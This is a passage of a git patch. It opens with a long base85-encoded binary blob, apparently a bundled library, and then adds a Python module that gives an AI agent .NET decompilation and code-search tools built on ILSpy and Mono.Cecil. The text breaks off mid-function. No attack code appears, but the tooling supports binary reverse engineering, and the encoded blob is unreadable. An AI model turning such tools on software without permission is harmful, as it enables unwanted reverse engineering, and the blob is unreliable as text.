z-M8TW;NJI`kp_+g{N=vNWn*IHGM&N*>p4vAe&c9wcV+iAxLk9%0{ZvUf0rw$ma5ti+L3`{}KP-JEM_qq=akYHc{!8*VchzKLbmF<6e zvIm;Oy`+%gFeNilSwh@-?7_swKUkvVkGY{@u>O0nZ(3^f5 zDLP%*eI;<9U|Td*moj!=N7r&a_r76lbziUV&tynr8Yd?P=g+Cpzo2(KLFsf zUsb*|(0i!wB^osEJ1Q@t3DmiFB~nFa$)w3Xd=&8`|0K}h&66JQsA-TjPU=A*9TL8bOr z9#7M^hr9a`*4`e<(^&g~#+wG#A9o|yFG>EpE$SJs*9QVHk!bSnpZ0pYWH3Q_+__D% z-Ged|loM5Sz=jsagN6X;Lky!n8MjtY|3PZeAGq{lm-OTxGeIcV7rXjSY4SdHyvrvN zYIK02;noL7dNG1eU_(Cs1M79!ADC~RTo$xIH%ks_I=1FJ+}r<&-d-6FYNivGfPR^Q zlG6_u|9!AZoy;d4rq7-C;P!xr26_*k1R>?1Z)wew#PmPw%(2{w96#>rJcld0-|wTU zFS!jQ3a^PmeXvLE8pmXeJ&`9wp%#<_;>HQ*^3IAxLj2xY5flEzyAVjDiCAbcsRg6d z`h))Li*kToheExEmOYSVea|7qUcOWuoa(1i$YJRI6Q#0msJi{D{gpS-6z`m11gZZ9cVB~Ds=ETOFn)=Y zDG)o@3AFx+#L}2AW-piJz{xt&vG#aP{ZXpt>Aaq&OZ7Z$^*oJH8@u2|CeVYZAhJ2p zheQpsY(ZmoQ=6{?Xk{kN?R5>9xEdt#bg!AcrRa9@KC+>L{Y+F{Cn*N~t*^??ULU=R zhWK?frn>XbWRib0b}eC%@x`ZFs9OIqn#|BN1aybw?)(~gno5Jt^o-KGd=rvTvzQ3h z)b1#4@9PuA<8kpx&42<3i%mtMIT6b7epvKoe`W6&YQ6`=`;4=%4L*KFBTphro~Na8 zcSmh9uIxNCoT$lU0A)!bub{6gZ$g7gL$W_Y8Z=g4f8NcIx(r}R#HQv5YV$S(T9rBz zikLifgqE8Sk-;IDj4`CCar@t48Vv~gD9RMB85fv@%xbReT;iYn2W~^>Sg9AaNW)4> z%vb}d=5;lr_pc>Al~=f5?8HeBYT1ui=0!3ED$_xhweWyp;#ux~BlgEPupGUMzERoz zhIil2Yo~gTA{}(x&YPtD)BXXQPK|4DLSD4TBijjP9>SvklGksotZN(f*VDC$$iC+c*6TsH5nJolTg8 ze)!T)^!D{=>{vT?-%_x$`)els41E{(!5xWd51@(a;LdANbM3r#1j#%J0g)npj-|FK zo850P%@6KwS9U(A?0mnn^MlH6HgNC|4QJ*ubGsjN2DAIXARQ=&N_zk=~{`0(KF zSmMt?`}Av#UiM76D=YY|uwjw}!A%vsNj~WyzK8hh<q{xVrb|jd;;ubIv$*vj^wG9cdcLjLp_G({vlevl=BwD9(K(YdrE zU*VV?%?jjHe{>bFh|a?-RKlWl{1^l7@k=y%@gC&gQR5#IeC@b34#8Smu0`k=CH%K=OLK|bnN zTI6-C1l)+wlMWz!iMaQZM z%o*GMwRa4y@|e23M3Fu6@bqR~Cz-feg?Z2Hq2c%5uI&Bp;NEY&(A!(tdlzC?RPPY; z4%5trY15Y!a&8hhCRuwa=y0iVv^T09g=l*cp;4hN%v2;i+)MnR2e)Fy{-sspXsC%BcF&V#Tv42G~T#>~AnF5X*W8O<&phUaI?# zOU2VBcy>!)>JH=ZfJU&Kbd{Y?`@bU@LiV%%PvW)nY5BDWF_h6`0|TfO`^GAZA^A&8 zO-=i|rlCufH*iVGH+hLk8zc@HA+14Jv(|=+`SeeA zQz@HH<%l2e)9x6)jV?75hrCt>7D3iEW<|OEE8{q^S!iM+$c>nLqE2J7;`}(#9ZS4b zc_VsIS1NDxnQs?$0auy(gX>n)Ha@oBW;{jO?dWaY&b_UmDlAykB4%`(!vHl9A0mm8 z_ua2oMkSQQ?_U224S+AX)yDwS7~3A)c_-L`kNZB}+Yj~b?<&>qw<^28Ntz@O_xny{f0hwZ}K^~`vo;l^4u*f~oK>{6BT`p^{B{;Z1JxnRTVT^g&&GOPq)oKZ8OTqCoq?5aoX zH@}EBf6xg%>>OZd$WpTnjli$ReIHR{-^=}_Ozwj_@4}X4n}a^EJei}Jr>$FeR=kr> z4{9;2v2ALfT6VkbQou*>K2e!q;e_R5_n-v1lx{$B`Cgt)veuMfJ%=cK-@o^M9q$)P z(L5d}qT}>5;}n_LJF0ayqZ#}C4Il}>OnEbv!sojw$?n^MWcTebl9bYRRCZ72K7CNm z@KN*WpAJAAjz|Qy@keA#s;M}QtwNXO^4?wcaB!AaE{9#AoND(=)&?iT z(;8F?J>Hhx?z<`ByE$RbKgyNc)CwhFt^GlJE<0}~x$L|dbJ=+__JZYdI_7fP)0-Ti z`QJd=NgqL5+DI1qDrseO$PX%;LWYPfuZ227rR`_gfs{5aXh@oy9RoD zWBiLae!KAm+pG{4P2)T&Z)b>|=UDaK2a{&Q#Ien`S zPmxw{5sZW8ov_>Rjo2%@-w2c8?lsKJkdNkEIAa1!f(*hweYlRBUq-SetzKezEuP z;Nye*^M+{l(j=yT%x0HQ_8wK-&X=qvOj>3`Xm%387+wy-QiL{3IYZu(kXleC%68fK zkmVd07Xv%nW4)N%+v%K&{Xz+4%LPtHgk_8m>x7vGl;O?pq98>#d&9TtaKeKM2g9uL(&XAoiN)d%RE8eLTP{XO{_wsrfj@-7C zBu}HMz%oIIRUUKb%ET;Gj+J?V(_F*9$j^kgr%i@l zl5a|VJw7l^Kdaf_HsYk*QcxxBT;gBIGG)xq8Gzivh(J>C#d-Erh8G0p(u^DM9{h4{Bl|GZmP z>Xnx)Kl3=q_o>ZH{^1Q_+$o@8DDXMjz+j61Yj^l$kCw;QD#J5vtL~Rk+Jn2_rKG`~ zHI^W@_R?SwyJG@c^|-H_5^**{wfkKN%|II>UZ zpdm20P)I0I!aKK?eR7ybYSeM^h=%Hwx9mSvDM->u3H$4bDy zfmjMqBlf-nk71}zY++~-Gff(8-S9;jy(WSus29|OyV%53cmR(EzF+oG`Q*gYA&R#1 z82Wm?_nFG$RqX+&N+CiAEpT`5o)8;Y8?v^+@pP<5U|qzpdZoP z{tmgs-4MLra6?9Q|Htrb;Q<}o`FmmY$+oGTJsarnqcIqp0d`ID_s}F9tt_Y!TO-H& z+N~uyvd}jW7S?_oR0pASLd+E>{Gh=|3G)@r##ZrtTG=+*c>MYS_vz`tXQTF&$={=0_rF% z2FjkFX!t>Nl$rbKYZZ16=uWw>bUMJaz}`D}pDgbU&ER;VB3`1m$9fA#%bxAD^Qk&) z@U>mp`>v61YfQjtnyk^VcMRq6(cU9+ozpNjS(q4^_TQ)K#K=0(#snh%gMJow?}M{! zY;m#oUGxl5?V#Z$r4J`zFV122NCV z|86wF_PmW*4i};C`ZUKZZ2kb4PJQe!C3{@npWABlwp6tBf?6V$sKqj)_uh4~TV!x( z@XOa7dOLI_en^9vT{VLgoBzmeg{$}1i9ySekYW$cj+gXAorG)n3HiKOZK|lH$$}sABWR31iY5v z^YI7dAp%w~68qftW>YcP%zNfyX9F?9dq(+dIUGYUE6T^N?3M)Hd*`tH8e!*61?9H; z-mSl`O$rxF@D_xr1T=t6$ZvT=te(f=rCqgfqQ2&Menf7YyDJ5wQQ@U2o^`T+;!8dbpTmNo72~fSW_|7 zJ!H$KuZ9CBmiJa^cun6{&VmV|uX_8w^()7J_%C1nqt9*sZuU}^9o){c-{dyJp>95a z`DN9!*};tG{JOHwzVToE7Y9dIhkx$u{qO&;|JUx%{0}d``G5bLf3f(t{^LKW{U5Kc z{;QAu%m4Ww{=@k{`P|4izxKxEfAZhn`q=5UAO1hzdU@avr~cmW{F}e^&s#%>FaG`A ziGT3Dzwx;1zlXWSp?iUTbINa<`7K1<>{HEj2T=Ee zbXRelTOT9b3(?J}VM4e0{|=#LtCjBh>Q;zS>IRi=X9{xx`g34(mqn@LZML&Uy9~YV zLg_Y`(uqQMdQ|@r;>N)*0qgFfZUgIHmF`sP_T_EL)?L44%F+LRZ_4i#>dvszj8MMr zMC!(%?oXcMQ#T})yLeNDM)x;$n^f)9Bcf`F`r!gO_!FdR&sqLz;B_xkcRqC!(w`&M zJyO+Jwes6V>LuN-(`~LLXjPA8QtCFI+Nsv69=Z)BocMH()Vf!y+URDbdc#xujZXD} zc&>XnV^GGP6rIZUdh4#1LdsXI)}1K76RIB2tu5tH<5PD65B`5Y{NWD|^7q4I#noax z^Km;nQGTDH{PNG~a-^;#>7gFKtlj=%>QCsFf9Hd#2YG-nJ2;?^E`9LF2f>3G1NdO} znm)GqIG~S%`Z%hOXY?_^2UOj-DYAncxbN;#sQUodia6-XWrM8ySk}!gqt~+TZOBe_ zXUDp;?QR?yC)ltjO-3%gd~|1h-PvpC2yQ2J9bnJ3r>no~*g?+TWd|>-Hp_pDkM|Y& zhJpWtkScqyPan#F^(3L!3(`2hZ4L z2cOl)aeX|mkDt)T3;Ot|KK`0MKBkWo`Z%eN7xnSi_3=r4yrhp$>EqM-_^duo>*N1# z@BD+~JkI<69&iBeKoA5@ltjz0bh0Q3vLW;U9KfSZ$5ctllmkkNM9Z`WiFm(2Kso}* z;XqLiUEeP{w4+qCt;m$jHe!slw52#~qBM*nCv?K5Y$_$RYbSC>nQ>iqOnW#DGb48x zSC0DmKKs5e4wl;KOwvCxBZ&9xv%Ake`|Pv7_uXf8tH3>gw(tCTo7dIGM=r0UErtB4 zw%5Pk#@OHOwek6^hiw&;hS#>vi&79Tx>WpBC5$TSs ziS$I)MtURbBK?sB-=o$?u8dq2*${bKMABqO&)ZjY`N-+qCFmyqu_e6ds@}bDpk!vFFjNA~}7`ZWWQ{?8zVC0s_ zyCUz73`J6rk;rIdERv3lM$zv~?5#X6)FZx~qo_+SByuRy2c|*dBzF*)rfqyQrO<=pg?E-fQd_Z7_ zz?}jg6!>X@Nr9aLcM04r@G}DU3fw2KOW;ES_X~VjV7I_W1RfCJg<>x{CBX9uUi9Y# zWFi>dBajuy3FHL|0!4wn0y6@$0uKp1EP&CW7sUe7i}IX-7o8Va5cqikj32!yF9>+i ziolY4hZnjvKRfRz%K|K6!@3`4>@?zj|H-acrobVAPYC>?z+r(;3Vcf7 zmjoUY_+^2ADe$Wd{N*_0?!IOC-55rUl#aHfs+FNPT;o$ep}#qf!`7M_X58w za7y6!1im8h`vNZrd{y8N1pZLqw7}N{{z%}D1Tf-1^$!3p9=hEffof{ z68JNLKNmPB@O6Q22>cg;Zwh=%;4cLJQs8BQZwvgDz>hV7ak}*Bwobc-EW-`AQ0-5( zcP4h|V`D+PWgXxLNNq(v6Me6red5A@n;+1GkST>#WY*%%;A z9ceLt!4{G8Q~=k=1TP74G7sd&vqFXp#(Z|{$S|}}Ch(5O*ZYVaTBw!f%2K@^7r0@RzSyEmZ4e zTM;ym_);qqmsS^6{WiPu#a!yz*w)!0cd(=Ly4w5Ngl?7Ijs^9lif^LD1Sc3|t8MHt zQKdwsx~XHhMa|o1WxTaB3Og(kt9Wa1XBBY{&^)b(83DZg^#w)jRKyE#*KJPK7?;Wg z$eK?g0u_M+^p=e1zbWvd8wNNZcT#aX+D8I8)xh{#tfWnWqw*dUw(Pf1EAI0OQSK^R z9qIWVA@H)mD+1pUI4^KP;GzJ=lbzysIY@ZPN4Ov8SaAW)=Xs)aw6G6#aA-sYP-UX_ zjN(^)gCVN6FYKF#wu^KN?A&!%(liU!5(=OV0B6U-q~?ZH+Ccb3;~4=dt8oI`*O>8h zR&)xRZ0lUZhf*b0KcGm04XTAR8tB7jP1{jPXtcdS7^&k*c+`)G>+WvjMFDB7Aw4yu zr^Y3LR|Q@pQ}+K(C(Rf^&B4Hj@vLiF=M}s`U_c-#un}Q;C0lb)EHV;aRomR*cUc|z zG%f`mI}}nnQ^aLqd!(%9jL<11JQ8GA3Xp1mG(}Vqk%@9Z-oruUWAa&<>B_n<=!8BI zAiI^WBqFrfe+X~?A*AR(M6UgZ6mdvG976j3L#nnWnn^S-o9Mb3CJWrqBZFHT6cp29 zYOA_X&~j@$9uuZk4bz__-Uc5L<6)c);>?^h;N5CS>hsne4mwAo`I-$uFjz5nB>0f$ zGt!p|zRtK*92w(LbTrI1scfmm#GxJ=_$0~>eeqXN-x?*<eokv# z){!$e08r9UsH784+o_;N>Rh+L(%7#I`9z-%#n;US|H4He96@1i=;lMBet8wSjir~~ z7!;HknSus8^9CxKLrXqR-6zzAxr%^bJAAqQ&t%rOxra?z?L09kwK`(rP{n7pqGF61 z`}nBDP%0bxb~bx#iB}#U;AlbDCUN+}=e|DbkX%RNoI}`~0y;C-2T_IU83B8fz~g47 z+2Zpx6WjhS@@V6bwp*@>V5mZL=^F`r6c60YM4$aRr~jw=5{=7iJS;hCNBj8JP;jTV z$H1=koE5viN+07+7V{Noy?`L}p=Tf@;2FMMxFpN1Nx1Z|>?h$0rqA>w*gDShYZn{^Yn5E=Pd1b;$0kY$g8-nE&}u4kxh|`&>Ty#JW8R8BY4P>bPB}sgs*#4yzD=x4 zAmX7*&SFKBZV=;OO0Gi7uTBQyco!%tF=E2eIt5g`zK$5@W&uR^m@S0K$(UF1dd!J-<>2buTp! zhQ9%|H>~c4oLf6%>R>)lM_LLw=yXxyoj1TP721#AxlJa%uon-WgrMVO(2}85wq!|X!6y! z$0?#54i_u{ql2VxmP3z75oA%MJ43zVg%XYhGTPjzcH-+fQQOf) z1F*ez(5`AbNQ69cNPE&m*A!^}`ssj|%?qu(>Srxs{j6UlXM_I4XHOOBASDeFbHl=F zh}qm4FyG|sL!7+(mW(Af3hSl95G#LhLzrppYU34ILPPh~@k3hP9d z0G?Rm_b;g{maBz>Mpv^nU@jm7_0D5f(%Kmu z=~`MqVQxS;3=t4f~>SqLN7d6b) ztAdSz7Iii*_t9z@+x%@X(?T#z*OGkA;NXr(jDlYYVj6o0u!1xyS0}msZX=$|I#)2H zb>S>)3y~)WX8l-2Jjp+!k7%E%Rx?=#9!Lc)zR#)fg|)Wx?wD zJ!^#RCV2B@>4d9XsR&~RJy=tNhD=$1%V8_dD9OsfJhk)AxkpvRHozLD5Y{G1tt*5C zV?QO8msN({+Bqr=5~h^CfYzjk&ZJ_1slEn(TEdKtSoOndL|t0CRUdN^CtXW9?OF=W zRKw9$_|s+`lcO$A8WqR@OCw?2Qg8xuY2F&Mow+gs_>$DaItu8vTSoQmNT>=@J8>98 ziZ!E+P$p^{@k(WkEleGnADX_3G$yJ1q=d|m^3%9}K;l}-4{^h;*jX15a)R=Z67dHD zq8&k=XM>QFU0x*d5tqs;#4QV&r%V}G4DzO$G|G(#CvLOp{7*Q7Clbx)LTow2PKMa? zcJHzY-7$o*PHi5IAhf3=j*!t@`mhFY+0UtQxs&0jx3AqYtR>}87+VavXX+Rl=*y~~ zx*IF471;p6!LNpdG~<8yhSX#Si+154J zkdr36L}nl{*^}ggHzUJjqSis6R*bcX{1CC&(W-LN)^M6* zWfr)Od4({1*!B@)jko$~8)pVx{)53#jxh}#uCBEs=hPx`C1jDg#iyYpA!c;`tA3c( zP*BZhrki@2<%e{`oHS)xWkKy$t6YrrF|C8?{aV5@UR!pyD&^QblxWB#y5uL>g|1CF zTZn2qV!r2<))sGcxC>4>5}zT!dG=_O(dlEsl`GNE0)mji+CXVXmiCcaN$W5RNz{+5;LQuY>_7--8_Yjem#tpT#_(chXOU^eVPWWe^^@{) zao%}r2g3rm<#`J8d)X%@XFhn;UhYj=K@H~^%reA){fBXFsR=zaU|8)IFxTFH z=|50Am80z`;K9Zl+_hx!G-==o zXwwCpKUmy_=1^90E!UjUXJdV$vEFH;f@vlTu{N2uII10tu`Z4_c+g>07H@`G zbL$p;{Svovk8$}$O$E~jCO`ab+9*vj2|5bNYg4xWG0P8*uWyNWv!$kc6k>E?hVGL8_~aOJWLBxyLvtW8l|kxEPw&WkLs^qq;DuzIn->aYjX`> zr<|Nkf82vHB>s5=j!D$#^6In1XU$VPYo2q?b55S-Y4bEsu;7@8 z_Te8BY0JQuI7htD;o))2UUAG`5$D=Y^VD`4amf*v6odJw(pOwi#XJX`=YZn%@Sw+& zgkthdgD(ckv~vaKXVqsf=bnuGGR+s}kA-?Kk{a%n7YEY-&FLJ9vjNwZ!lBkb?YPbc z5T+JV*+6N70fY06HW+Bc@}vB5M?<$C<#wT1Rjx~MRm|U?%X~7C;;_;Myu{9+ZTx)+YlGDR3t?baTqdfdNS&4Za5ZW)oP z$8B^H!rFyB5P|*{NQ;@E)zr@TEwky=hbqpvDHZEBMB@XftCgdYvwqN|sUK7#qTqDU zh?X7EGFw%r*24^PwppY|%doc8Cq!GjV6?Rhmhc6a@P)8)O`d*sNytkLlgkU7XZihz zS4@Hx!c2%!7Po5P9Xe!eBu&OfGN#26*1Td=D5M#E7p+_?a9<`r_M6v=2aYGa>!_|K6fHfYidJg#g zf_EP1YDTG*Rfsn)_yn~QX+(g?7Q}ahATgGh%5nq6Uz?Odl_z&gj$LOPTpkYmrfX9} za?JE6VFr$V8|I_CVLJAD#fdh<=XYVwP;HIpFX^$vLtotNpc82@AYYh+Bt6a@h1iTk z)AgsL(4>)@kE#T2ESU8p&D?oet8!lBaUkRmBw9=)tvtyfgO^F@DvsiBv^bjvOokzo zfwPApBVpQa3>wLxV~o}{BFITJL<|IXSu*l58f(Ek*~NDXEi=2JV9TN)o85cu^do#^ zIZ@jIHyYtFFtq_At?lU5fI=oabV)~rv~5x_UhLZpM+nzMFAE0Y{c- zSb|6nx4&@?aqUTO4c#;n73dLIONGHI4#>htv7ZE^h2NmK^nV2;4FqXoaK=L`I>xojxR>s z&JtUQq*b}h4))1YLuC9)O|C1}du|^cN4z#Q7wS@HWWj3*w%F6$EUQ}*qoPWKDWZ9)X(_?El|DqJfB|Z73(yHsZsiVO`P~?p65-! zGG$8INuFUm53d6le@tPKX+z6U%r)&kSNB#ZPelD5QndzJ$Vwt{ius%j;eJgYGokxPjYc#KK*YZlZFpBvRvTZMjK4CK zbC9Dm6yqY!TifH5CWG{Z+N!c~0S~?l*6}Yo&qecGa-K`(dDVGd#Y4sx^qLEL%^HF1 z4mB6ah;K0AwrCEox$g}Y?&dB(+@>kRdC1vM84WSkA%2*;k>lGPVm%?Yb|u#)Cxt#G zmx*F65$9L%`eBmF!VVz=Oq&N6#sjPYR?tTTQJAi@Qg8}%s|H`0_SwtfC^@8I zEfC+98q#WX-W<}bcz)smCdaaRdOHmLhQUs!;v%> zJJp;_qj*dW8Y?t_%JTBO^ng^RNDg58`VZaHZ9&hipvyw7L24Vs-86#(29pN0WaBZ@ zL5d?sSdzkOZP;rK!&Zsa;|xJAG?-efg7mdn^BF0$b71N@!NmY;^rs{=MPW{D&Zsve znrc7(XAWcivPSjlak{4q^;!FlWl&@FQn*56mto9Qt+C?0gM8_uvZW+DI;)T9R^0^) zx!4kN(Lw@ZyLo3JueQ)wKjwH@GV_`eI%Sl+Y~s)$6~WT2InzbFTvxUk)8>>sT+@q@ z2*)iMnr?HdS5T?YBaWVvZNKX2>ONKtu_g>q)%m_&OQRtb{hhZw+*Y;8Ru#dl0}{g~ zl$Ac+*46D{C&x-ld(4s^HMz8u@pIxDV3_9#W>6M9tk->Uc3a*ht4$ePuT=zhq(QOx z4EM5p8VvTbG7Waum{2Mwaoi-Nc66TCJg4OpJA5!!GQA35x{%AXjDYh`;T$jFb>Sy@JBYSrH-Y@H`so$g`q_lMMoW{M;^T|)2IsCB!6+or z*lq|lyxn*u)#RqAcFtqTi^|c$k(H?uP`cfQ5IN&>hRR9tm=ZWDW?&1mZ_N&^AERgZ zNrVIi)rkwwo&p^^^Kv||<> z`s+X8r=$TVvx--CGyr!c&s4yj1L;T0>9aw3K_s&lQk^j5o*bmwmH5(LHZ&}jE?cye z5{X;9Xm*u%_bRX5co2K-HG6xt&tyTPdSv}ZdF^Ee-(f$ezN%@2f12xg(XzP^7N}W5 zBDjZIY9I7s9l8(~18a*8Mh1io#A0Z`f(QNUN-+=}4yK6ijSlK2(jdEpOx%T|Li_<7 z3PRca1o3B;Xi|yl&x0~#;O8C?0b3MWJ0*0hLK_>5Y%olF*g_GM97L>7BTBNxr_iS! zUq0S*6jj>dcZD2=EcB8>>lcLA_6YJ-MSM*5+QopH(-ToFTig+YCxSS>l#rqk4gFR5 z`3?@mpj~kTz(n0i+hegC4W6=IhH%oNO#l@fDkCH_vK7Yu(PpsSyuMRkV0R|AY~xSvmLcYtx=1h+=g z;KnsEbyL0^>X?BRm6(K6T-@0%4>Cn+cVb@4vT@PyO9o#B(nAb?O_23~pB<}}0P{lZ zJgn7X`x{c878rs91|<&bbD$;c05bs2Y?Y8tK>WrQo@nRTdd0hAMBHpgHt3F)LF5ERgcl&{SaiKChKeub9Jpafd z2BKJ<>Tg}d>)ts(H$S|sn4c|Ss~PdG-!{MSXnA(;OeOh8UrdgsQkmqfI3t1Ru+en_blZ~v-zJcKKi~?YBZhFUpiyXX6H+#CQ=Bb zKNmkfIzE;j85<$MQ3&HVnj6n=p58Q_N{^){@?)dv?AXYriRnyXtXRy9j^%RGqlJl7 zak`MpkBv`fCZ-FUixcC;>{xLkUl<&F4o8sbV3Y9@{*=xlqVuCUToMjg6&J+4QE(+01BqWOH#ko!N{CqvO*f z)5Y}Y=Io|aW<0eiR~R1|&y0%K~Mu8=JkhVCzx7nvyDw|{gv z#T3%J{*H2XU-6Oo^26I_7Z*y|NAJShuO!JJO%l?Ph&R+S+U%S!ER~Aei_^1nvzm9_ zz2yVN%C1KjiiKUQuAD7nvHpX;@810E7k=$4Tc6(Xf=8; z{L&Xc@~O)QzrFX52mZ&t--&$aSHJt@FYo!-eCiVqKYse1v5wDgc<%3){_OO7o*1s= zUpx1`=xZ+wzP|a&&yB77*zi04@bmvOd$A|?m+!y!H}*YnTO{@ePhIoft0s@6pM3JS zKk?3c9(d~R#?If5cWgY7NbS3S`}hCu@UtJA{3XqBj3@o=g3+F7ep*o~gxh zek!j8z|?&1p{aX|rDArmI5k(SEc&g23T~aR7YaG=z8$xXj!$?#$1nVq&k?By${WU> z`_s>T@4xM8yD;}7Bn$r5e+oPq_*T1}iVOc9q&BvfN;|dK*teLcYKp^!66+KDd;LbZ zSn+=Mqf__4E&ZKOwng4W4NXHyv55^yj;c0 z9qU@GxOnG|`2JDfReJGXjG3DqUL?W-dpi%YroeM_bG!tDM|ev|`+@9X3zl%cn6zTAF*-{MS(U%8W?V&;l_Y15Ui{QTU0 zO6j|!zMJ;ljC0GrzwG;$eE(7=raIm~Tds8E7wF<0rGkTtm2&4CgM03wcs{#W$(OQ= zi=DHJvvZ4;xMe9JI+o^g^9MRA+B%SOx>TS=0ka*873W#RL6vf{oh;>XiGypeF`3^# zjqGr0@s6(crdNA2tGr9A(=M$}yR(zSM%xj<$ri;IrwL@D_YF(-NMEQzo+6pDo4m z58Jd~jO}~a1)|}~{KIJ4WLWZ>@6t%8`DeRVL|Z|Zy688BcBGXU`eRco)z zQIYC8VE9SX>4tn-I36{j`8+`y>> zI?St0k!w0N6Y^!#=0oqA8#KjxH{GCB0)HDlFIxRSztY$B^&frs%$L7?=?lZnFRlCX zkJo ze|@Cy@jvN$%!6^GvOqrZ4x z3G_kXMVJ<-_J2$?bRFm)tjBC=Rb(+l`v+uQST$^mw<|d-eMMYu=u`;ij7h-!=4Z zy@~Z^;i=KF^thk$E$1Jufru^gHh5ljH7}iQ@o?Cigo|zmzunJtct3C_TnYkb!{OcU z-RC_ByxqGO>`qqIcj3Pic!#a9J@2d0zxjL2&Am02sv~sYZ+_PfTi9CYc3=dqS>E8g zgID-UJhpeIH^<|C^A^9+TJJ7mvxF`ZuUGnJiRB>8{!T_e2-65MRqP$VIdAWqaJtE8 z+=G(tQOTTi;QbU*Mnd}S=bCjus9<$y){PbHZ-8}T$@aIh{!#svq;y?XOd)JeGlDNH=avSsu z-lHb`UGdmh`^J!rwi+ALolk;w$uR;AC`{w0UIVViFtJD3YhTlxT@3C~ZQ4fpgXdfjjp`9eH gY<2CtSz6`$Pxi0c;q@T=;Cuebmf$VH{{b5K-v?bSr2qf` literal 0 HcmV?d00001 diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py new file mode 100644 index 00000000..817ce7c4 --- /dev/null +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -0,0 +1,410 @@ +# +# Fair warning, this file is a mess on the part of .NET interop. Order matters here for imports. +# + +import asyncio +import functools +import sys +import typing as t +from dataclasses import dataclass +from functools import cached_property +from pathlib import Path + +import dreadnode as dn +import rigging as rg +from loguru import logger +from pythonnet import load # type: ignore [import-untyped] + +load("coreclr") + +import clr # type: ignore [import-untyped] # noqa: E402 + +lib_dir = Path(__file__).parent / "lib" +sys.path.append(str(lib_dir)) + +clr.AddReference("ICSharpCode.Decompiler") +clr.AddReference("Mono.Cecil") + +from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] # noqa: E402 + DecompilerSettings, +) +from ICSharpCode.Decompiler.CSharp import ( # type: ignore [import-not-found] # noqa: E402 + CSharpDecompiler, +) +from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] # noqa: E402 + MetadataTokenHelpers, +) +from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # noqa: E402 + +# Helpers + + +def _shorten_dotnet_name(name: str) -> str: + return name.split(" ")[-1].split("(")[0] + + +def _get_decompiler(path: Path | str) -> CSharpDecompiler: + settings = DecompilerSettings() + settings.ThrowOnAssemblyResolveErrors = False + return CSharpDecompiler(str(path), settings) + + +def _decompile_token(path: Path | str, token: int) -> str: + entity_handle = MetadataTokenHelpers.TryAsEntityHandle(token.ToUInt32()) # type: ignore [attr-defined] + return _get_decompiler(path).DecompileAsString(entity_handle) # type: ignore [no-any-return] + + +def _find_references(assembly: AssemblyDefinition, search: str) -> list[str]: + flexible_search_strings = [ + search.lower(), + search.lower().replace(".", "::"), + search.lower().replace("::", "."), + ] + + using_methods: set[str] = set() + for module in assembly.Modules: + methods = [] + for module_type in module.Types: + for method in module_type.Methods: + methods.append(method) + + for method in methods: + if not method.HasBody: + continue + + for instruction in method.Body.Instructions: + intruction_str = str(instruction.Operand).lower() + + for _search in flexible_search_strings: + if _search in intruction_str: + using_methods.add(method.FullName) + + return list(using_methods) + + +def _extract_unique_call_paths( + tree: dict[str, t.Any], + current_path: list[str] | None = None, +) -> list[list[str]]: + if current_path is None: + current_path = [] + + if not tree: # Leaf node + return [current_path] if current_path else [] + + paths = [] + for method, subtree in tree.items(): + new_path = [method, *current_path] + paths.extend(_extract_unique_call_paths(subtree, new_path)) + + return paths + + +# Tools + +DEFAULT_EXCLUDE = [ + "mscorlib.dll", +] + + +@dataclass +class DotnetReversing: + base_path: Path + binaries: list[str] + + @classmethod + def from_path( + cls, + path: Path | str, + pattern: str = "**/*", + exclude: list[str] = DEFAULT_EXCLUDE, + ) -> "DotnetReversing": + base_path = Path(path) + if not base_path.exists(): + raise ValueError(f"Base path does not exist: {base_path}") + + binaries: list[str] = [] + for file_path in base_path.rglob(pattern): + rel_path = file_path.relative_to(base_path) + if not any(ex in str(rel_path) for ex in exclude): + binaries.append(str(rel_path)) + + if not binaries: + raise ValueError( + f"No binaries found in {base_path} ({pattern})", + ) + + return cls(base_path=base_path, binaries=binaries) + + @cached_property + def tools(self) -> list[t.Callable[..., t.Any]]: + def wrap(func: t.Callable[..., t.Any]) -> t.Callable[..., t.Any]: + @rg.tool(catch=True, truncate=10_000) + @dn.task() + @functools.wraps(func) + async def wrapper(*args: t.Any, **kwargs: t.Any) -> t.Any: + # Use asyncio.to_thread to run the function in a separate thread + # and avoid blocking the event loop. + return await asyncio.to_thread(func, *args, **kwargs) + + return wrapper + + return [ + wrap(func) + for func in ( + self.decompile_module, + self.decompile_type, + self.decompile_methods, + self.list_namespaces, + self.list_types_in_namespace, + self.list_methods_in_type, + self.list_types, + self.list_methods, + self.search_for_references, + self.get_call_flows_to_method, + ) + ] + + def _resolve_path(self, path: str) -> str: + rel_path = Path(path) + full_path = self.base_path / path + + # If we are already in the base path, make it relative + # before we check anything (can occur with repeated calls) + if rel_path.is_relative_to(self.base_path): + rel_path = rel_path.relative_to(self.base_path) + + if str(rel_path) not in self.binaries or not full_path.exists(): + raise ValueError(f"{path} is not available.") + + return str(full_path) + + def decompile_module(self, path: t.Annotated[str, "The binary file path"]) -> str: + """ + Decompile the entire module and return the decompiled code as a string. + """ + logger.info(f"decompile_module({path})") + path = self._resolve_path(path) + return _get_decompiler(path).DecompileWholeModuleAsString() # type: ignore [no-any-return] + + def decompile_type( + self, + path: t.Annotated[str, "The binary file path"], + type_name: t.Annotated[str, "The specific type to decompile"], + ) -> str: + """ + Decompile a specific type and return the decompiled code as a string. + """ + logger.info(f"decompile_type({path}, {type_name})") + path = self._resolve_path(path) + return _get_decompiler(path).DecompileTypeAsString(type_name) # type: ignore [no-any-return] + + def decompile_methods( + self, + path: t.Annotated[str, "The binary file path"], + method_names: t.Annotated[list[str], "List of methods to decompile"], + ) -> dict[str, str]: + """ + Decompile specific methods and return a dictionary with method names as keys and decompiled code as values. + """ + logger.info(f"decompile_methods({path}, {method_names})") + flexible_method_names = [_shorten_dotnet_name(name).lower() for name in method_names] + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + methods: dict[str, str] = {} + for module in assembly.Modules: + for module_type in module.Types: + for method in module_type.Methods: + method_name = _shorten_dotnet_name(method.FullName).lower() + if method_name in flexible_method_names: + methods[method.FullName] = _decompile_token(path, method.MetadataToken) + return methods + + def list_namespaces(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: + """ + List all namespaces in the assembly. + """ + logger.info(f"list_namespaces({path})") + path = self._resolve_path(path) + assembly = AssemblyDefinition.ReadAssembly(path) + + namespaces = set() + for module in assembly.Modules: + for module_type in module.Types: + if "." in module_type.FullName: + # Get namespace part 